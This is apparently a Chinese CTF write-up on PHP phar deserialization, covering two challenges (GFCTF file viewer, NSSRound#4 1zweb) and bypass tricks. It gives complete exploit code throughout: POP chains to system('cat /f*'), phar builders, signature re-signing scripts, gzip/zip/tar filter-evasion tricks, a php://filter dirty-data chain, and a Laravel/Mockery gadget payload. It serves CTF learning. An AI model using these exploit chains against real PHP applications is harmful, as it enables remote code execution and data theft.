phar反序列化
phar反序列化
GFCTF–文件查看器
本题目可在NSSCTF平台复现
目录扫描发现www.zip
User.class.php
<?php
error_reporting(0);
class User{
public $username;
public $password;
public function login(){
include("view/login.html");
if(isset($_POST['username'])&&isset($_POST['password'])){
$this->username=$_POST['username'];
$this->password=$_POST['password'];
if($this->check()){
header("location:./?c=Files&m=read");
}
}
}
public function check(){
if($this->username==="admin" && $this->password==="admin"){
return true;
}else{
echo "{$this->username}的密码不正确或不存在该用户";
return false;
}
}
public function __destruct(){
(@$this->password)();
}
public function __call($name,$arg){
($name)();
}
}
Myerror.class.php
<?php
class Myerror{
public $message;
public function __construct(){
ini_set('error_log','/var/www/html/log/error.txt');
ini_set('log_errors',1);
}
public function __tostring(){
$test=$this->message->{$this->test};
return "test";
}
}
Files.class.php
<?php
class Files{
public $filename;
public function __construct(){
$this->log();
}
public function read(){
include("view/file.html");
if(isset($_POST['file'])){
$this->filename=$_POST['file'];
}else{
die("请输入文件名");
}
$contents=$this->getFile();
echo '<br><textarea class="file_content" type="text" value='."<br>".$contents;
}
public function filter(){
if(preg_match('/^\/|phar|flag|data|zip|utf16|utf-16|\.\.\//i',$this->filename)){
throw new Error("这不合理");
}
}
public function getFile(){
$contents=file_get_contents($this->filename);
$this->filter();
if(isset($_POST['write'])){
file_put_contents($this->filename,$contents);
}
if(!empty($contents)){
return $contents;
}else{
die("该文件不存在或者内容为空");
}
}
public function log(){
$log=new Myerror();
}
public function __get($key){
($key)($this->arg);
}
}
代码审计 (只是看代码得出的信息,没有实际操作)
有两个页面,第一个登陆界面,username=admin,password=admin
登录跳转
第二个页面能够读取文件,若搜索的内容不存在会被写入/var/www/html/log/error.txt
中,能够重写文件中的内容
Files.class.php
的getFile()
的file_get_contents()
存在phar反序列化漏洞- 三个文件中存在pop链
构造pop链
User::__destruct -> User::check -> Myerror::__toString -> Files::__get
这里比较难的是User::__destruct中的(@$this->password)();
要使用数组调用函数
<?php
class Files{
public $filename;
public $arg;
public function __get($key){
($key)($this->arg);
}
}
class Myerror{
public $message;
public function __tostring(){
$test=$this->message->{$this->test};
return "test";
}
}
class User{
public $username;
public $password;
public function check(){
if($this->username==="admin" && $this->password==="admin"){
return true;
}else{
echo "{$this->username}的密码不正确或不存在该用户";
return false;
}
}
public function __destruct(){
(@$this->password)();
}
public function __call($name,$arg){
($name)();
}
}
$a = new User();
$b = new User();
$a->password = [$b,"check"];
$b->username = new Myerror();
$b->username->message = new Files();
$b->username->test = "system";
$b->username->message->arg = "cat /f*";
echo serialize($a);
?>
php://filter
题目中没发现unserialize()
,但能查看文件,想到phar反序列化,那phar://
又要解析什么文件呢?
我们想到log/error.txt
的内容为报错信息
但其中有脏数据,使用php://filter
去除
先想到最后要把phar文件内容之外的变为非合法字符,然后base64-decode,就只剩phar文件的内容
那如何转化呢,由utf-8
转换为utf-16le
的字符,它的每一位字符后面都会加上一个\0
,这个\0
是不可见字符,但当我们将utf-16le
转换为utf-8
的时候,只有后面有\0
的才会被正常转换,其它的就会被当成乱码
但utf-16le
被ban了,ucs-2
的功能与它相同
然后要对\0
进行处理,使用quoted-printable编码
即:把phar文件内容依次经过base64-encode
、convert.iconv.utf-8.ucs-2
、quoted-printable-encode
把结果写入log/error.txt
在解码时先quoted-printable-decode
、再convert.iconv.ucs-2.utf-8
、最后base64-decode
GC回收机制
在最后解密完后,要phar://
,但是phar被ban了
为了不让它异常退出,这里使用GC回收机制在throw new Error("这不合理");
之前提前触发__destruct
最后顺序与实际操作
<?php
class Files{
public $filename;
public $arg;
public function __get($key){
($key)($this->arg);
}
}
class Myerror{
public $message;
public function __tostring(){
$test=$this->message->{$this->test};
return "test";
}
}
class User{
public $username;
public $password;
public function check(){
if($this->username==="admin" && $this->password==="admin"){
return true;
}else{
echo "{$this->username}的密码不正确或不存在该用户";
return false;
}
}
public function __destruct(){
(@$this->password)();
}
public function __call($name,$arg){
($name)();
}
}
$a = new User();
$b = new User();
$a->password = [$b,"check"];
$b->username = new Myerror();
$b->username->message = new Files();
$b->username->test = "system";
$b->username->message->arg = "cat /f*";
echo serialize($a);
$b = array($a,null);
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($b);
$phar->addFromString("test1.txt", "test1");
$phar->stopBuffering();
?>
修改内容,最后的i:1
改为i:0
修改phar文件内容后要重新进行签名
from hashlib import sha1
f = open('a.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('phar4.phar', 'wb').write(newf) # 写入新文件
然后再拿去加密
<?php
$a=file_get_contents('phar4.phar');//获取二进制数据
$a=iconv('utf-8','UCS-2',base64_encode($a));//UCS-2编码
file_put_contents('2.txt',quoted_printable_encode($a));//quoted_printable编码
$b = file_get_contents('2.txt');
echo $b;
file_put_contents('2.txt',preg_replace('/=\r\n/','',file_get_contents('2.txt')).'=00=3D');//解决软换行导致的编码结构破坏
?>
file_put_contents在最后加上=00=3D是因为在php://filter/convert.iconv.ucs-2.utf-8
后会出现个陌生字符
=00R=000=00l=00G=00O=00D=00l=00h=00P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00o=00w=00A=00Q=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00D=005=00A=00A=00A=00A=00Y=00T=00o=00y=00O=00n=00t=00p=00O=00j=00A=007=00T=00z=00o=000=00O=00i=00J=00V=00c=002=00V=00y=00I=00j=00o=00y=00O=00n=00t=00z=00O=00j=00g=006=00I=00n=00V=00z=00Z=00X=00J=00u=00Y=00W=001=00l=00I=00j=00t=00O=00O=003=00M=006=00O=00D=00o=00i=00c=00G=00F=00z=00c=003=00d=00v=00c=00m=00Q=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=000=008=006=00N=00D=00o=00i=00V=00X=00N=00l=00c=00i=00I=006=00M=00j=00p=007=00c=00z=00o=004=00O=00i=00J=001=00c=002=00V=00y=00b=00m=00F=00t=00Z=00S=00I=007=00T=00z=00o=003=00O=00i=00J=00N=00e=00W=00V=00y=00c=00m=009=00y=00I=00j=00o=00y=00O=00n=00t=00z=00O=00j=00c=006=00I=00m=001=00l=00c=003=00N=00h=00Z=002=00U=00i=00O=000=008=006=00N=00T=00o=00i=00R=00m=00l=00s=00Z=00X=00M=00i=00O=00j=00I=006=00e=003=00M=006=00O=00D=00o=00i=00Z=00m=00l=00s=00Z=00W=005=00h=00b=00W=00U=00i=00O=000=004=007=00c=00z=00o=00z=00O=00i=00J=00h=00c=00m=00c=00i=00O=003=00M=006=00N=00z=00o=00i=00Y=002=00F=000=00I=00C=009=00m=00K=00i=00I=007=00f=00X=00M=006=00N=00D=00o=00i=00d=00G=00V=00z=00d=00C=00I=007=00c=00z=00o=002=00O=00i=00J=00z=00e=00X=00N=000=00Z=00W=000=00i=00O=003=001=00z=00O=00j=00g=006=00I=00n=00B=00h=00c=003=00N=003=00b=003=00J=00k=00I=00j=00t=00O=00O=003=001=00p=00O=00j=00E=007=00c=00z=00o=001=00O=00i=00J=00j=00a=00G=00V=00j=00a=00y=00I=007=00f=00X=001=00p=00O=00j=00A=007=00T=00j=00t=009=00C=00Q=00A=00A=00A=00H=00R=00l=00c=003=00Q=00x=00L=00n=00R=004=00d=00A=00U=00A=00A=00A=00B=00W=00V=00N=001=00k=00B=00Q=00A=00A=00A=00O=00L=00c=00s=00o=00q=002=00A=00Q=00A=00A=00A=00A=00A=00A=00A=00H=00R=00l=00c=003=00Q=00x=00I=00z=00S=00g=00V=00I=00G=007=00m=00l=007=00G=00e=00B=00t=00l=00l=00I=00b=008=00e=00l=00l=00l=00v=00s=004=00C=00A=00A=00A=00A=00R=000=00J=00N=00Q=00g=00=3D=00=3D=00=3D
php://filter/read=convert.quoted-printable-decode|convert.iconv.ucs-2.utf-8|convert.base64-decode/resource=log/error.txt
注意要选上重写文件
phar://log/error.txt
[NSSRound#4 SWPU]1zweb
可以非预期,我们这里按预期解来讲
index.php
源代码中查看完整代码
<?php
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){
$this->ljt="ljt";
$this->dky="dky";
phpinfo();
}
public function __destruct(){
if($this->ljt==="Misc"&&$this->dky==="Re")
eval($this->cmd);
}
public function __wakeup(){
$this->ljt="Re";
$this->dky="Misc";
}
}
$file=$_POST['file'];
if(isset($_POST['file'])){
echo file_get_contents($file);
}
upload.php
源代码中查看完整代码
<?php
if ($_FILES["file"]["error"] > 0){
echo "上传异常";
}
else{
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
$content=file_get_contents($_FILES["file"]["tmp_name"]);
$pos = strpos($content, "__HALT_COMPILER();");
if(gettype($pos)==="integer"){
echo "ltj一眼就发现了phar";
}else{
if (file_exists("./upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在";
}else{
$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
fwrite($myfile, $content);
fclose($myfile);
echo "上传成功 ./upload/".$_FILES["file"]["name"];
}
}
}else{
echo "dky不喜欢这个文件 .".$extension;
}
}
?>
代码审计
upload.php
检查上传文件的后缀,检查文件内容,检查文件是否存在
index.php
绕过__wakeup
即可
对phar文件的处理
- 修改后缀
a.phar -> a.png
- 使用gzip对文件进行压缩,从而绕过对
__HALT_COMPILER();
的检查 - php/5.5.38 绕过
__wakeup
修改类数字大于成员个数
实际操作
<?php
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){
$this->ljt="Misc";
$this->dky="Re";
}
public function __destruct(){
if($this->ljt==="Misc"&&$this->dky==="Re")
eval($this->cmd);
}
}
$a = new LoveNss();
$a->cmd = 'system("cat /f*");';
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test1.txt", "test1");
$phar->stopBuffering();
?>
$a->cmd = 'system("cat /f*");';
记得加;
号
修改后缀 a.phar->a.png
修改个数
改完后重新签名并进行压缩
from hashlib import sha1
import gzip
with open('phar.png', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
new_file = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
f_gzip = gzip.GzipFile("1.png", "wb")
f_gzip.write(new_file)
f_gzip.close()
然后上传文件
小说一下绕过__HALT_COMPILER();?>的检查
1.将phar文件进行gzip压缩后在修改为png文件后缀
from hashlib import sha1
import gzip
with open('phar.png', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
new_file = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
f_gzip = gzip.GzipFile("1.png", "wb")
f_gzip.write(new_file)
f_gzip.close()
2.将phar的内容写进压缩包注释中,然后压缩为zip也会绕过该正则
$phar_file = serialize($exp);
echo $phar_file;
$zip = new ZipArchive();
$res = $zip->open('1.zip',ZipArchive::CREATE);
$zip->addFromString('crispr.txt', 'file content goes here');
$zip->setArchiveComment($phar_file);
$zip->close();
$phar_file = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:6:"events";O:25:"Illuminate\Bus\Dispatcher":1:{S:13:"queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;S:4:"load";}}S:5:"event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{S:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{S:6:"config";O:35:"Mockery\Generator\MockConfiguration":1:{S:4:"name";S:6:"crispr";}S:4:"code";S:31:"\3c\3f\70\68\70 echo system("cat /flag");";}}}';
$zip = new ZipArchive();
$res = $zip->open('1.zip',ZipArchive::CREATE);
$zip->addFromString('crispr.txt', 'file content goes here');
$zip->setArchiveComment($phar_file);
$zip->close();
phar签名及数据绕过
https://www.php.net/manual/zh/phar.fileformat.signature.php
绕过__wakeup时要修改phar内容,但是修改后要重新进行签名
签证尾部的01
代表md5加密,02
代表sha1加密,04
代表sha256加密,08
代表sha512加密
from hashlib import sha1
f = open('b.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('phar2.phar', 'wb').write(newf) # 写入新文件
注意计算 SHA1 的时候要使用 .digest()
而不是 .hexdigest()
, 因为文件本身保存的签名是二进制格式的
其它签名算法同理, 就是切片的长度不一样 (不过一般也不怎么用到)
phar 协议对 gzip bzip2 处理时, PHP 会将其解压缩, 然后解析里面的 phar 文件
tar文件绕过签名
对 tar 处理时, PHP 会检测压缩包中是否存在 .phar/.metadata
, 存在的话就会将 .metadata
里的内容直接进行反序列化
本地创建 .phar 文件夹和 .metadata 文件
exp10it@LAPTOP-TBAF1QQG:~/WWW/.phar$ ls -a
.metadata
exp10it@LAPTOP-TBAF1QQG:~/WWW/.phar$ cat .metadata
O:1:"A":2:{s:4:"text";s:7:"success";}
tar -cf phar.tar .phar/
我也是用phpstudy不成功,应该跟php版本有关
绕过文件头部的脏数据(我们可以修改内容)
假如遇到绕wakeup的phar反序列化,我们需要修改phar文件的内容,那我们只需要重新计算一下签名,然后把计算完签名后的phar文件的脏数据删掉,然后上传就行了。
。。。说实话没搞懂
绕过文件头部脏数据(数据修改在服务端)
如果是日志的话一般可以用php://filter把数据清空
利用要点
我们已知脏数据的内容,是在上传文件后拼接脏数据
实现
把脏数据拼接在<?php __HALT_COMPILER(); ?>
之前,然后生成phar文件(这样生成的文件的签名是带有脏数据的),接着手动删除前面的脏数据然后上传,服务端会去拼接,等于说我们事先就生成好了签名
<?php
class flag{
}
$a=new flag;
//前面的脏数据
$dirtydata = "dirty";
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub($dirtydata."<?php __HALT_COMPILER(); ?>"); // 因为它是phar文件的开头,拼接在他的前面即为脏数据
$phar->setMetadata($a);
$phar->addFromString("anything" , "test");
$phar->stopBuffering();
$exp = file_get_contents("./phar.phar");
$post_exp = substr($exp, strlen($dirtydata)); //截取脏数据之后的数据
$exp = file_put_contents("./break_phar.phar",$post_exp);
?>
这里有一部分细节的,就是,我们不能用记事本打开手动删除,不知道为什么这样会破坏数据,我们需要用php代码去修改 (boogipop大佬说的)
绕过文件尾部的脏数据
tar格式自动忽略尾部脏数据,因为tar格式有暂停解析位,在之后添加的数据都不会解析的
<?php
class flag{
}
$a=new flag;
//前面的脏数据
$dirtydata = "dirty";
$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);
//$phar = new Phar("1.phar")
//$phar->convertToExecutable(Phar::TAR) #会生成1.phar.tar
$phar->startBuffering();
$phar->setMetadata($a);
//下面$dirtydata是可以自定义的
$phar->addFromString($dirtydata , "test");
$phar->stopBuffering();
$exp = file_get_contents("./phar.tar");
?>
结束
唉,啥都不会,自己还懒
这篇发完后又得过一段时间才能写下一篇了